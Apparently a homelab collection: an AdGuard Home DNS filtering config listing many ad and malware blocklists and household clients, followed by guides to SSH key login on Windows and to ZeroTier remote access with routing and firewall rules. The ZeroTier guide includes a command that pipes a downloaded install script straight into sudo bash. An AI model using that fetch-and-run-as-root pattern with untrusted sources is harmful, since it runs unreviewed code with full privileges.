ratelimit_whitelist: []
refuse_any: true
upstream_dns:
- https://family.cloudflare-dns.com/dns-query
- https://family.adguard-dns.com/dns-query
- https://adblock.doh.mullvad.net/dns-query
- https://doh.familyshield.opendns.com/dns-query
upstream_dns_file: ""
bootstrap_dns:
- 1.1.1.3
- 1.0.0.3
- 2606:4700:4700::1113
- 2606:4700:4700::1003
- 94.140.14.14
- 94.140.15.15
- 2a10:50c0::ad1:ff
- 2a10:50c0::ad2:ff
- 208.67.222.222
- 208.67.220.220
- 2620:119:35::35
- 2620:119:53::53
all_servers: false
fastest_addr: false
fastest_timeout: 1s
allowed_clients: []
disallowed_clients: []
blocked_hosts:
- version.bind
- id.server
- hostname.bind
trusted_proxies:
- 127.0.0.0/8
- ::1/128
cache_size: 0
cache_ttl_min: 0
cache_ttl_max: 0
cache_optimistic: true
bogus_nxdomain: []
aaaa_disabled: false
enable_dnssec: false
edns_client_subnet:
custom_ip: ""
enabled: false
use_custom: false
max_goroutines: 300
handle_ddr: true
ipset: []
ipset_file: ""
filtering_enabled: true
filters_update_interval: 24
parental_enabled: true
safesearch_enabled: true
safebrowsing_enabled: true
safebrowsing_cache_size: 1048576
safesearch_cache_size: 1048576
parental_cache_size: 1048576
cache_time: 30
rewrites:
- domain: mtr.home
answer: 10.11.12.254
- domain: printer.home
answer: 10.11.12.123
- domain: desktop1.home
answer: 10.11.12.121
blocked_services: []
upstream_timeout: 10s
private_networks: []
use_private_ptr_resolvers: true
local_ptr_upstreams:
- 10.11.12.254
use_dns64: false
dns64_prefixes: []
serve_http3: false
use_http3_upstreams: false
tls:
enabled: false
server_name: ""
force_https: false
port_https: 443
port_dns_over_tls: 853
port_dns_over_quic: 853
port_dnscrypt: 0
dnscrypt_config_file: ""
allow_unencrypted_doh: false
certificate_chain: ""
private_key: ""
certificate_path: ""
private_key_path: ""
strict_sni_check: false
querylog:
enabled: true
file_enabled: true
interval: 720h
size_memory: 1000
ignored: []
statistics:
enabled: true
interval: 30
ignored: []
filters:
- enabled: true
url: https://adguardteam.github.io/AdGuardSDNSFilter/Filters/filter.txt
name: AdGuard DNS filter
id: 1
- enabled: true
url: https://adaway.org/hosts.txt
name: AdAway Default Blocklist
id: 2
- enabled: true
url: https://someonewhocares.org/hosts/zero/hosts
name: Dan Pollock's List
id: 1666514532
- enabled: true
url: https://raw.githubusercontent.com/Perflyst/PiHoleBlocklist/master/SmartTV-AGH.txt
name: Perflyst and Dandelion Sprout's Smart-TV Blocklist
id: 1666514533
- enabled: true
url: https://abp.oisd.nl/basic/
name: OISD Blocklist Basic
id: 1666514534
- enabled: true
url: https://raw.githubusercontent.com/DandelionSprout/adfilt/master/GameConsoleAdblockList.txt
name: Game Console Adblock List
id: 1666514535
- enabled: true
url: https://pgl.yoyo.org/adservers/serverlist.php?hostformat=adblockplus&showintro=1&mimetype=plaintext
name: Peter Lowe's List
id: 1666514536
- enabled: true
url: https://raw.githubusercontent.com/DandelionSprout/adfilt/master/Alternate%20versions%20Anti-Malware%20List/AntiMalwareAdGuardHome.txt
name: Dandelion Sprout's Anti-Malware List
id: 1666514537
- enabled: true
url: https://raw.githubusercontent.com/hoshsadiq/adblock-nocoin-list/master/hosts.txt
name: NoCoin Filter List
id: 1666514538
- enabled: true
url: https://raw.githubusercontent.com/durablenapkin/scamblocklist/master/adguard.txt
name: Scam Blocklist by DurableNapkin
id: 1666514539
- enabled: true
url: https://raw.githubusercontent.com/mitchellkrogza/The-Big-List-of-Hacked-Malware-Web-Sites/master/hosts
name: The Big List of Hacked Malware Web Sites
id: 1666514540
- enabled: true
url: https://malware-filter.gitlab.io/malware-filter/urlhaus-filter-agh-online.txt
name: Online Malicious URL Blocklist
id: 1666514541
- enabled: true
url: https://raw.githubusercontent.com/crazy-max/WindowsSpyBlocker/master/data/hosts/spy.txt
name: WindowsSpyBlocker - Hosts spy rules
id: 1666514542
- enabled: true
url: https://raw.githubusercontent.com/PolishFiltersTeam/KADhosts/master/KADhosts.txt
name: Firebog Suspicious List 1
id: 1666514543
- enabled: true
url: https://raw.githubusercontent.com/FadeMind/hosts.extras/master/add.Spam/hosts
name: Firebog Suspicious List 2
id: 1666514544
- enabled: true
url: https://v.firebog.net/hosts/static/w3kbl.txt
name: Firebog Suspicious List 3
id: 1666514545
- enabled: true
url: https://v.firebog.net/hosts/AdguardDNS.txt
name: Firebog Advertising List 1
id: 1666514546
- enabled: true
url: https://v.firebog.net/hosts/Admiral.txt
name: Firebog Advertising List 2
id: 1666514547
- enabled: true
url: https://raw.githubusercontent.com/anudeepND/blacklist/master/adservers.txt
name: Firebog Advertising List 3
id: 1666514548
- enabled: true
url: https://s3.amazonaws.com/lists.disconnect.me/simple_ad.txt
name: Firebog Advertising List 4
id: 1666514549
- enabled: true
url: https://v.firebog.net/hosts/Easylist.txt
name: Firebog Advertising List 5
id: 1666514550
- enabled: true
url: https://pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts&showintro=0&mimetype=plaintext
name: Firebog Advertising List 6
id: 1666514551
- enabled: true
url: https://raw.githubusercontent.com/FadeMind/hosts.extras/master/UncheckyAds/hosts
name: Firebog Advertising List 7
id: 1666514552
- enabled: true
url: https://raw.githubusercontent.com/bigdargon/hostsVN/master/hosts
name: Firebog Advertising List 8
id: 1666514553
- enabled: true
url: https://v.firebog.net/hosts/Easyprivacy.txt
name: Firebog Tracking & Telemetry List 1
id: 1666514555
- enabled: true
url: https://v.firebog.net/hosts/Prigent-Ads.txt
name: Firebog Tracking & Telemetry List 2
id: 1666514556
- enabled: true
url: https://raw.githubusercontent.com/FadeMind/hosts.extras/master/add.2o7Net/hosts
name: Firebog Tracking & Telemetry List 3
id: 1666514557
- enabled: true
url: https://hostfiles.frogeye.fr/firstparty-trackers-hosts.txt
name: Firebog Tracking & Telemetry List 4
id: 1666514558
- enabled: true
url: https://raw.githubusercontent.com/DandelionSprout/adfilt/master/Alternate%20versions%20Anti-Malware%20List/AntiMalwareHosts.txt
name: Firebog Malicious List 1
id: 1666514559
- enabled: true
url: https://osint.digitalside.it/Threat-Intel/lists/latestdomains.txt
name: Firebog Malicious List 2
id: 1666514560
- enabled: true
url: https://s3.amazonaws.com/lists.disconnect.me/simple_malvertising.txt
name: Firebog Malicious List 3
id: 1666514561
- enabled: true
url: https://v.firebog.net/hosts/Prigent-Crypto.txt
name: Firebog Malicious List 4
id: 1666514562
- enabled: true
url: https://raw.githubusercontent.com/FadeMind/hosts.extras/master/add.Risk/hosts
name: Firebog Malicious List 5
id: 1666514563
- enabled: true
url: https://bitbucket.org/ethanr/dns-blacklists/raw/8575c9f96e5b4a1308f2f12394abd86d0927a4a0/bad_lists/Mandiant_APT1_Report_Appendix_D.txt
name: Firebog Malicious List 6
id: 1666514564
- enabled: true
url: https://phishing.army/download/phishing_army_blocklist_extended.txt
name: Firebog Malicious List 7
id: 1666514565
- enabled: true
url: https://malware-filter.gitlab.io/malware-filter/phishing-filter-hosts.txt
name: Firebog Malicious List 8
id: 1666514566
- enabled: true
url: https://gitlab.com/quidsup/notrack-blocklists/raw/master/notrack-malware.txt
name: Firebog Malicious List 9
id: 1666514567
- enabled: true
url: https://v.firebog.net/hosts/RPiList-Malware.txt
name: Firebog Malicious List 10
id: 1666514568
- enabled: true
url: https://v.firebog.net/hosts/RPiList-Phishing.txt
name: Firebog Malicious List 11
id: 1666514569
- enabled: true
url: https://raw.githubusercontent.com/Spam404/lists/master/main-blacklist.txt
name: Firebog Malicious List 12
id: 1666514570
- enabled: true
url: https://raw.githubusercontent.com/AssoEchap/stalkerware-indicators/master/generated/hosts
name: Firebog Malicious List 13
id: 1666514571
- enabled: true
url: https://urlhaus.abuse.ch/downloads/hostfile/
name: Firebog Malicious List 14
id: 1666514572
- enabled: true
url: https://zerodot1.gitlab.io/CoinBlockerLists/hosts_browser
name: Firebog Other List 1
id: 1666514573
whitelist_filters: []
user_rules: []
dhcp:
enabled: false
interface_name: ""
local_domain_name: lan
dhcpv4:
gateway_ip: ""
subnet_mask: ""
range_start: ""
range_end: ""
lease_duration: 86400
icmp_timeout_msec: 1000
options: []
dhcpv6:
range_start: ""
lease_duration: 86400
ra_slaac_only: false
ra_allow_slaac: false
clients:
runtime_sources:
whois: true
arp: true
rdns: true
dhcp: true
hosts: true
persistent:
- name: laptop1
tags:
- device_laptop
- os_windows
- user_regular
ids:
- 10.11.12.43
blocked_services: []
upstreams: []
use_global_settings: true
filtering_enabled: false
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: false
use_global_blocked_services: true
- name: printer
tags:
- device_printer
- os_other
- user_regular
ids:
- 10.11.12.123
blocked_services: []
upstreams: []
use_global_settings: true
filtering_enabled: false
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: false
use_global_blocked_services: true
- name: desktop1
tags:
- device_pc
- os_linux
- user_admin
ids:
- 10.11.12.121
blocked_services: []
upstreams:
- tls://unfiltered.adguard-dns.com
- https://unfiltered.adguard-dns.com/dns-query
- quic://unfiltered.adguard-dns.com
- 1.1.1.2
- 1.0.0.2
use_global_settings: false
filtering_enabled: true
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: true
use_global_blocked_services: true
- name: iphone1
tags:
- device_phone
- os_ios
- user_regular
ids:
- 10.11.12.122
blocked_services: []
upstreams: []
use_global_settings: true
filtering_enabled: false
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: false
use_global_blocked_services: true
- name: kid-ipad1
tags:
- device_tablet
- os_ios
- user_child
ids:
- 10.11.12.49
blocked_services: []
upstreams: []
use_global_settings: true
filtering_enabled: false
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: false
use_global_blocked_services: true
- name: kid-ipod1
tags:
- device_phone
- os_ios
- user_child
ids:
- 10.11.12.50
blocked_services: []
upstreams: []
use_global_settings: true
filtering_enabled: false
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: false
use_global_blocked_services: true
- name: android1
tags:
- device_phone
- os_android
- user_admin
ids:
- 10.11.12.51
blocked_services: []
upstreams:
- tls://unfiltered.adguard-dns.com
- https://unfiltered.adguard-dns.com/dns-query
- quic://unfiltered.adguard-dns.com
- 1.1.1.2
- 1.0.0.2
use_global_settings: false
filtering_enabled: true
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: true
use_global_blocked_services: true
- name: android2
tags:
- device_phone
- os_android
- user_admin
ids:
- 10.11.12.52
blocked_services: []
upstreams:
- tls://unfiltered.adguard-dns.com
- https://unfiltered.adguard-dns.com/dns-query
- quic://unfiltered.adguard-dns.com
- 1.1.1.2
- 1.0.0.2
use_global_settings: false
filtering_enabled: true
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: true
use_global_blocked_services: true
- name: tv1
tags:
- device_tv
- os_android
- user_regular
ids:
- 10.11.12.53
blocked_services: []
upstreams: []
use_global_settings: true
filtering_enabled: false
parental_enabled: false
safesearch_enabled: false
safebrowsing_enabled: false
use_global_blocked_services: true
log_file: ""
log_max_backups: 0
log_max_size: 100
log_max_age: 3
log_compress: false
log_localtime: false
verbose: false
os:
group: ""
user: ""
rlimit_nofile: 0
schema_version: 17
```
# SSH key authentication on Windows
SSH is an amazing remote access method we have been using for remote management in \*Unix admin world, and its key authentication is even better for security and easy access to target machines. However, it is quite unusual for Windows admin to use SSH to manage their Windows servers and clients although they can do almost everything with Powershell. The normal workflow for Windows admin would be RDP into the Windows servers to administer and do the daily stuffs in the GUI. Throughout my IT career, I have never seen a Windows box has been setup without GUI and RDP for system management.
In the parallel universe, SSH is the only secure and standard remote access we use as Linux or network admins for our daily admin tasks. I rarely see any Linux admins use SSH password to login into their remote servers but almost always use SSH key authentication. Well... network admins would probably still use SSH password as their primary mean of remote access to their network gears.
From my recent password reset process with IT, I became to think that the password is one of the bad inventions for authentication. Why and how have we coped with it for the past decade? Here is the list of things why I consider the password is cumbersome.
* Short password is easy to crack but the end users love it short and easy so that it can be remembered and used multiple times for different logins.
* Long password is hard to remember for users and it ends up written on the sticky note around their desks although they have been trained over and over again not to do so. With the emerging technology of quantum computing, a long password is not effective as much as it used to be in the past. But size still matters in passwords for authentication.
* Users tend to reuse the same short or long password everywhere; meaning it is really bad when there is a data breach happened on the platform or service they use on the internet. Nowadays data breach or leak has been heavily normalised from the recent data breaches or leaks.
* Although a sophisticated user can use a password manager, it is not quite straightforward to understand why it is required in the first place. When the password manager platform is breached or even the local password database is corrupted, it is very concerning for the total loss of all passwords stored in it.
* Due to the nature of password security, multi-factors authentication MFA has been introduced for some time but a lot of normal end users are not using it since it is considered as an extra complexity.
Those are a few things I can think of why we shouldn't use password for the authentication. We could have done so much better with its innovation around it.
As an automation guy, SSH key authentication is my bread and butter for all Linux logins and automation workflow. When it comes to Windows server or client, it is not almost weird using SSH to login and Powershelling for all Windows admin tasks. Note that Windows doesn't even come with any usable text editor in pure Powershell environment. Since I started working on automation with Windows, there are a lot of Powershell I have to use and understand its mechanism for various stuffs. The more I unleash the power of Windows PowerShell for automation, the more I am comfort working in its CLI for most of the things I need to do for Windows workflow.
In this article, I intend to capture how we can setup the SSH key authentication for Windows. These days Windows come with OpenSSH server and client in its optional features section so we can easily install the feature as followed.
* Go to `Settings > Apps & features > Optional features > Add a feature > OpenSSH Server > Install`
That's it. Now you can use the ssh command with password to login into the Windows machine for remote access. But to configure ssh key authentication, we need to configure *sshd\_config* file located in `C:\ProgramData\ssh`. Following parameters are required for key authentication.
```bash
PubkeyAuthentication yes
PasswordAuthentication no
# override default of no subsystems
Subsystem sftp sftp-server.exe
Match Group administrators
AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys
```
Then add a new file called *administrators\_authorized\_keys* in `C:\ProgramData\ssh\` directory and place all desired admins ssh keys into the file and save. After that, run the following command in Powershell to change its permission.
```powershell
icacls.exe "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
```
Remember it will only allow the users in Administrators group for key authentication. Otherwise it will reject the ssh logins for any other users not belong to the group. After all those changes in sshd configuration, we need to restart the sshd service as below.
```powershell
restart-service sshd
```
Now SSH key authentication on Windows is finished and ready to use.
# Unleashing Zerotier for homelab
## Background
For many tech enthusiasts, the journey of building a homelab often begins with the desire to self-host services. This typically means running your own applications and servers at home, gaining full control over your data, and learning valuable networking and system administration skills. However, the path from a private homelab to a publicly accessible, yet secure, collection of services is a winding one, often involving an evolution of approaches to connectivity and security.
### The Genesis: Local Homelab Services
Initially, my self-hosted services like a personal media server (e.g., Plex, Jellyfin), a file sync solution (e.g., Nextcloud), or a home automation hub (e.g., Home Assistant) are confined to the local area network (LAN). Access is straightforward: any device connected to my home Wi-Fi or wired network can reach these services directly via my internal IP addresses. This provides a safe sandbox for experimentation and learning without the complexities or security risks of public exposure.
### The Leap: Exposing to the Public-Facing Internet
The next natural step is often the desire to access these services from anywhere – whether on the go, from a friend's house, or while traveling. This necessitates exposing my homelab to the public-facing internet. The simplest, though often least secure, method is **port forwarding** on my home router. This involves configuring my router to direct specific incoming traffic from the internet to a particular device and port within my DMZ network. While seemingly convenient, this approach significantly increases the attack surface, making my homelab vulnerable to various threats if not meticulously secured.
To mitigate these risks, several more robust solutions come into play, primarily revolving around Virtual Private Networks (VPNs) and overlay networks.
### Traditional VPNs: IPsec and SSL VPNs
Historically, two common VPN protocols for remote access to private networks are **IPsec** and **SSL VPNs** (often leveraging OpenVPN).
* **IPsec (Internet Protocol Security)**: IPsec is a suite of protocols that provides cryptographic security for IP communications. It can be used for site-to-site VPNs (connecting two networks) or remote access VPNs (connecting individual users to a network). IPsec offers strong encryption and authentication, but its configuration can be complex, often requiring specific client software and detailed firewall rules.
* **SSL VPN (Secure Sockets Layer VPN)**: SSL VPNs, prominently exemplified by OpenVPN, utilize the SSL/TLS protocol for secure communication. They are generally easier to set up and manage than IPsec, often relying on a single port (typically TCP 443, the same as HTTPS), which makes them effective at traversing firewalls. OpenVPN clients are widely available across various platforms, making it a popular choice for remote access to homelabs.
Both IPsec and SSL VPNs create a secure tunnel between my remote devices and my homelab, effectively making my remote devices appear as if it's directly on my home network. This allows me to access all my internal services securely.
### The Rise of Modern VPNs: WireGuard
**WireGuard** emerged as a game-changer in the VPN landscape. Designed for simplicity, speed, and modern cryptography, WireGuard boasts a significantly smaller codebase compared to OpenVPN, making it easier to audit and generally faster. Its "cryptokey routing" approach simplifies configuration, and it often provides better performance and lower latency. For homelab users, WireGuard quickly became a preferred choice for its ease of deployment and efficiency in creating secure tunnels for remote access.
### Navigating the Challenges: CGNAT
A common hurdle for self-hosters is **Carrier-Grade NAT (CGNAT)**. Many Internet Service Providers (ISPs) implement CGNAT to conserve IPv4 addresses, sharing a single public IP address among multiple customers. This "double NAT" scenario prevents direct incoming connections to my home network, effectively blocking traditional port forwarding and making direct VPN connections difficult or impossible without additional workarounds.
### The Overlay Network Evolution: Tailscale and ZeroTier
To address the complexities of CGNAT and simplify secure remote access, **overlay networks** like Tailscale and ZeroTier have become incredibly popular. These services build a virtual network on top of the existing internet infrastructure, allowing devices to communicate directly and securely regardless of their physical location or underlying network topology (including CGNAT).
* **Tailscale**: Built on WireGuard, Tailscale simplifies the creation of a secure mesh network. It handles NAT traversal, key exchange, and IP address management automatically, often allowing direct peer-to-peer connections even behind multiple NAT layers. If direct connections aren't possible (e.g., due to strict firewalls or symmetric NAT), Tailscale intelligently routes traffic through its global network of relay servers (DERP servers), ensuring connectivity. Users authenticate with their identity provider (e.g., Google, GitHub), making user management incredibly easy.
* **ZeroTier**: Similar to Tailscale, ZeroTier creates a virtual Ethernet switch that spans across any physical network boundaries. It operates on a "de-perimeterisation" principle, where every authorised device can communicate directly and securely with any other device on the ZeroTier network. ZeroTier also excels at NAT traversal, and if direct connections fail, it utilizes its own root servers to relay traffic. It offers a high degree of control over network configuration and can be used to build complex, distributed networks.
## My Remote Access Journey Continues
The progression from simply self-hosting locally to leveraging advanced overlay networks like Tailscale and ZeroTier reflects a continuous effort to make homelab services accessible and secure in an increasingly complex internet landscape. Each step in this evolution - from port forwarding to IPsec, SSL VPNs, WireGuard, and finally, these modern mesh VPN solutions - offers different trade-offs in terms of complexity, performance, and security. For a homelab enthusiast like me, understanding these options is key to building a robust, flexible, and secure personal infrastructure that truly puts me in control of my digital life.
My self-hosting journey, like many others, has been a continuous adaptation to the ever-changing landscape of home internet connectivity. For a long time, I enjoyed the simplicity and power of a static public IP, allowing me to easily host VPN servers directly within my homelab. This setup provided seamless remote access to all my services – from media servers to other useful self-hosted services – with full control and excellent performance.
However, that changed when my ISP, without warning, revoked my static public IP and placed me behind **Carrier-Grade NAT (CGNAT)**. This was a significant blow, as it meant I could no longer receive direct incoming connections from the internet. My carefully crafted VPN server, which relied on direct inbound traffic, was rendered useless for remote access.
It was then that I discovered **Tailscale**, and honestly, it felt like magic. Tailscale, with its foundation in WireGuard and its intelligent NAT traversal capabilities, effortlessly created a secure mesh network among my devices, regardless of the CGNAT. I could access my homelab from anywhere, and it felt like my devices were all on the same local network. The setup was incredibly simple, the performance was fantastic, and the "MagicDNS" feature made accessing services by name a breeze. I became a huge advocate, singing its praises to anyone grappling with CGNAT.
But the world of ISPs and network policies is a fickle one. Just last week, I hit another frustrating roadblock. My ISP, in what I can only assume is an attempt to further restrict non-standard internet usage or perhaps due to misconfigurations, started actively blocking `*.tailscale` subdomains. This meant that my devices could no longer initiate connections or authenticate against the Tailscale control plane. The seamless connectivity I had come to rely on was suddenly interrupted, leaving me disconnected from my homelab. It was a stark reminder of the inherent vulnerability of relying on a third-party service, especially when your ISP decides to interfere.
The frustration was palpable. Having already moved past the direct VPN server phase due to CGNAT, and now facing a new barrier with Tailscale, I was compelled to explore yet another alternative. This led me to **ZeroTier**.
Switching to ZeroTier has been a revelation, providing a much-needed lifeline for my remote access needs. While it operates on a slightly different principle (creating a virtual Ethernet switch across devices rather than a pure Layer 3 mesh like Tailscale), it has proven equally effective at bypassing CGNAT and establishing secure connections. The setup process was different, requiring me to join my devices to a ZeroTier network ID and authorise them, but it was straightforward enough.
What I particularly appreciate about ZeroTier in this context is its decentralised nature and the flexibility it offers. It doesn't rely on a central domain for its core functionality in the same way Tailscale does for its control plane. This seems to have made it more resilient to the kind of targeted domain blocking I experienced with Tailscale. My homelab is once again accessible remotely, and the peace of mind that comes with reliable connectivity is invaluable.
The journey from a locally hosted lab to navigating the complexities of public internet exposure, CGNAT, and now ISP-level blocking, truly highlights the dynamic nature of self-hosting. Each obstacle has pushed me to learn new technologies and adapt my approach, ultimately making my homelab setup more resilient and versatile. For now, ZeroTier has become my trusted companion in this ongoing quest for seamless and secure remote access until the next unforeseeable roadblock ahead of me.
## Steps
Setting up a ZeroTier network is a straightforward process, but it does involve a few key steps:
* creating your network on the ZeroTier Central website,
* installing the ZeroTier client on your devices,
* joining and authorising those devices to your network.
Here's a step-by-step guide to get your ZeroTier network up and running:
### Step 1: Create Your ZeroTier Network
* **Go to ZeroTier Central:** Open the web browser and navigate to [my.zerotier.com](https://my.zerotier.com/).
* **Sign Up or Log In:** If you don't have an account, you'll need to sign up. You can use an email address or a social login like Google or GitHub. If you already have an account, simply log in.
* **Create a New Network:** Once logged in, you'll see your networks dashboard. Click the "Create a Network" button.
* **Note the Network ID:** A new network will be created, and you'll immediately see a **16-digit Network ID**. This ID is crucial – it's how your devices will identify and connect to your specific virtual network. Copy this ID and keep it handy.
### Step 2: Configure Your Network Settings (Optional but Recommended)
Click on the newly created network to configure its settings. Here are some important options you might want to adjust:
* **Network Name & Description:** Give your network a meaningful name (e.g., "My Homelab Network," "Family Access") and an optional description for easy identification.
* **Access Control:**
* **Private (Recommended):** By default, new networks are "Private." This means that any device attempting to join your network will require explicit authorisation from you via the ZeroTier Central interface. This is the most secure option.
* **Public:** If you set it to "Public," any device with your Network ID can join without authorisation. This is generally *not* recommended for homelabs due to security risks.
* **IPv4 Auto-Assign:**
* **Enable "Auto-Assign from Range":** This is highly recommended. ZeroTier will automatically assign IP addresses to devices joining your network from a specified private range (e.g., 10.147.17.0/24). You can choose from pre-defined ranges or define your own. This simplifies IP management significantly.
* **Disable if you prefer manual IP assignment:** If you have specific needs for manual IP addressing, you can disable auto-assignment, but this adds complexity.
* **Managed Routes (Advanced):**
* This is where you tell ZeroTier how to reach devices that are *not* directly on the ZeroTier network but are accessible through a ZeroTier member. For example, if you have a ZeroTier member in your homelab that also acts as a gateway to your local LAN (e.g., 192.168.1.0/24), you would add a managed route here:
* **Destination:** `192.168.1.0/24` (or your actual LAN subnet)
* **Via:** The ZeroTier IP address of your homelab gateway device.
* This allows remote ZeroTier members to access your non-ZeroTier LAN devices.
### Step 3: Install ZeroTier Client on Your Devices
You need to install the ZeroTier client software on every device you want to connect to your ZeroTier network.
* **Windows:**
* Download the installer from [www.zerotier.com/download](https://www.zerotier.com/download).
* Run the installer and follow the prompts.
* After installation, find the ZeroTier icon in your system tray (bottom-right). Right-click it to access options.
* **macOS:**
* Download the `.pkg` installer from [www.zerotier.com/download](https://www.zerotier.com/download).
* Run the installer and follow the prompts.
* The ZeroTier app will appear in your menu bar (top-right). Click it to access options.
* **Linux (Debian/Ubuntu/CentOS/Fedora/RHEL):**
* Open a terminal.
* Run the ZeroTier installation script (recommended for easy setup):
```bash
curl -s 'https://install.zerotier.com/' | sudo bash
```
* Once installed, you'll use the `zerotier-cli` command-line tool.
* **Android/iOS:**
* Download the ZeroTier app from the Google Play Store or Apple App Store.
* Open the app to add and manage networks.
* **Mikrotik RouterOS 7 (ARM/ARM64 platform only):**
* **Check RouterOS Version and Architecture:** Before you start, verify your MikroTik router's RouterOS version and architecture. You can do this via WinBox or the command line.
* **WinBox:** Go to `System > Resources`.
* **CLI:**
```
/system resource print
/system package print
```
* Ensure your RouterOS version is 7.x and the architecture is `arm` or `arm64`.
* Go to the official MikroTik Downloads page:
* Find the RouterOS v7.x downloads for your **specific router model's architecture (ARM)**.
* Look for the **"Extra packages"** section. Download the ZIP archive that matches your RouterOS version.
* Extract the downloaded ZIP file. Inside, you'll find various `.npk` packages. Locate the `zerotier-*.npk` file (e.g., `zerotier-arm-7.XX.npk`).
* **Upload the .npk file to the router**:
* **Using WinBox:** Drag and drop the `zerotier-*.npk` file directly into the "Files" section of WinBox (`Files`).
* **Using SCP/SFTP:** Use a client like WinSCP or `scp` from your terminal to upload the `.npk` file to the root directory of your MikroTik router.
* **Reboot Your MikroTik Router:** After uploading the package, your MikroTik router needs to be rebooted for the new package to be installed.
* **WinBox:** Go to `System > Reboot`.
* **CLI:**
```
/system reboot
```
* Wait for the router to restart. Once it's back online, you should see "ZeroTier" as a new menu item in WinBox or `zerotier` commands available in the CLI.
* **NAS (Synology, QNAP, etc.):** Check your NAS manufacturer's app store or community packages. Many NAS devices have official or unofficial ZeroTier packages available.
* **Other Platforms (FreeBSD, OpenWrt, Docker, etc.):** Refer to the ZeroTier download page or documentation for specific installation instructions.
### Step 4: Join Devices to Your ZeroTier Network
Once the client is installed on a device, you need to tell it to join your network using the Network ID you copied earlier.
* **Windows/macOS:**
* Right-click the ZeroTier icon (system tray/menu bar).
* Select "Join Network..."
* Enter your 16-digit Network ID and click "Join."
* **Linux:**
* Open a terminal.
* Run the command:
```bash
sudo zerotier-cli join
```
* You should see output similar to `200 join OK`.
* **Android/iOS:**
* Open the ZeroTier app.
* Tap the "+" icon to add a new network.
* Enter your 16-digit Network ID and toggle the network "On."
* **Mikrotik RouterOS7 (ARM/ARM64 platform only):**
* MikroTik's ZeroTier implementation has an "instance" that needs to be enabled.
* **WinBox:** Go to `ZeroTier > Instances`. Select the default instance (usually `0`) and click "Enable".
* **CLI:**
```
/zerotier instance enable 0
```
* **Join Your ZeroTier Network from MikroTik:** Now, tell your MikroTik router to join the ZeroTier network you created.
* **WinBox:** Go to `ZeroTier > Interfaces`. Click the blue `+` button to add a new interface.
* For `Network ID`, paste your 16-digit ZeroTier Network ID.
* You can give it a `Name` (e.g., `zerotier1`).
* Click "OK".
* **CLI:**
```
/zerotier interface add network= name=zerotier1
```
*Replace `` with your actual Network ID.*
### Step 5: Authorise Devices on ZeroTier Central
This step is *only* necessary if your network's Access Control is set to "Private" (which it should be for security).
* **Go back to ZeroTier Central:** Refresh the page for your network.
* **Locate Members Section:** Scroll down to the "Members" section.
* **Authorise Devices:** You will see a list of devices that have attempted to join your network. Each device will have a unique "Managed IP" (its ZeroTier IP) and a "Physical IP" (its public IP at the time it connected).
* Crucially, there will be a checkbox under the "Auth" column. **Check this box** for each device you want to allow onto your network.
* You can also give each device a "Name" and "Description" here for easier identification (e.g., "Main PC," "Homelab Server," "Phone").
### Step 6: Configure IP Forwarding and iptables rules
#### Ubuntu/Debian Linux
Since I use Ubuntu/Debian alike Linux distributions mostly, here is how we can configure a Zerotier client as an exit node for routing traffic for LAN access and the Internet.
* **Open the `sysctl` configuration file:**
```bash
sudo vi /etc/sysctl.conf
```
* **Uncomment the forwarding line:** Find the line `#net.ipv4.ip_forward=1` and remove the `#` symbol at the beginning, so it reads:
```bash
net.ipv4.ip_forward=1
```
* Save and close the file
* **Apply the change immediately:** `sudo sysctl -p`. This command will load the new `sysctl` settings without requiring a reboot.
Now, we'll set up firewall rules (`iptables`) on the client to handle Network Address Translation (NAT) and allow traffic to flow between your ZeroTier network and the public internet.
* **Identify your network interfaces:** Replace `YOUR_PHYSICAL_INTERFACE` and `YOUR_ZEROTIER_INTERFACE` with the actual names of your Ubuntu/Debian client's physical internet-facing interface (e.g., `eth0`, `enpXsX`) and its ZeroTier interface (which usually starts with `zt`). You can find these by running `ip a`.
```bash
PHY_IFACE=YOUR_PHYSICAL_INTERFACE
ZT_IFACE=YOUR_ZEROTIER_INTERFACE
```
**Example:**
```bash
PHY_IFACE=eth0
ZT_IFACE=ztabcdefghijklmnop # Replace with your actual ZeroTier interface name
```
* **Add `iptables` rules:** These commands will configure NAT (Masquerading) so that traffic leaving your Ubuntu/Debian client for the internet appears to come from your client's public IP, and they'll allow traffic to be forwarded.
```bash
sudo iptables -t nat -A POSTROUTING -o $PHY_IFACE -j MASQUERADE
sudo iptables -A FORWARD -i $ZT_IFACE -o $PHY_IFACE -j ACCEPT
sudo iptables -A FORWARD -i $PHY_IFACE -o $ZT_IFACE -m state --state RELATED,ESTABLISHED -j ACCEPT
```
* **Make `iptables` rules persistent:** By default, `iptables` rules are reset on reboot. Install `iptables-persistent` to save them.
```bash
sudo apt install iptables-persistent
```
During installation, you'll be prompted to save the current IPv4 and IPv6 rules. Select "Yes" for both to ensure your new rules are saved. If you're not prompted, or if you make changes later, you can manually save them:
```bash
sudo sh -c 'iptables-save > /etc/iptables/rules.v4'
```
#### Mikrotik RouterOS 7 (ARM/ARM64 only)
By default, MikroTik's firewall will likely block incoming connections on the ZeroTier interface. You need to add rules to allow traffic.
* **Allow ZeroTier Traffic (Basic Access):** These rules will allow devices on your ZeroTier network to access services directly on your MikroTik router.
* **WinBox:** Go to `IP > Firewall > Filter Rules`. Click `+` to add new rules.
* **Rule 1 (Allow input to router):**
* `Chain`: `input`
* `In. Interface`: `zerotier1` (or whatever you named your ZeroTier interface)
* `Action`: `accept`
* *Drag this rule to the top of your `input` chain, before any "drop all" rules.*
* **Rule 2 (Allow forwarding if you want to access LAN behind MikroTik):**
* `Chain`: `forward`
* `In. Interface`: `zerotier1`
* `Action`: `accept`
* *Drag this rule to the top of your `forward` chain.*
* **CLI:**
```
/ip firewall filter
add action=accept chain=input in-interface=zerotier1 comment="Allow ZeroTier to Router"
add action=accept chain=forward in-interface=zerotier1 comment="Allow ZeroTier to LAN (if routing)"
```
*Place these rules at the beginning of their respective chains using `place-before=0` if you have existing rules.*
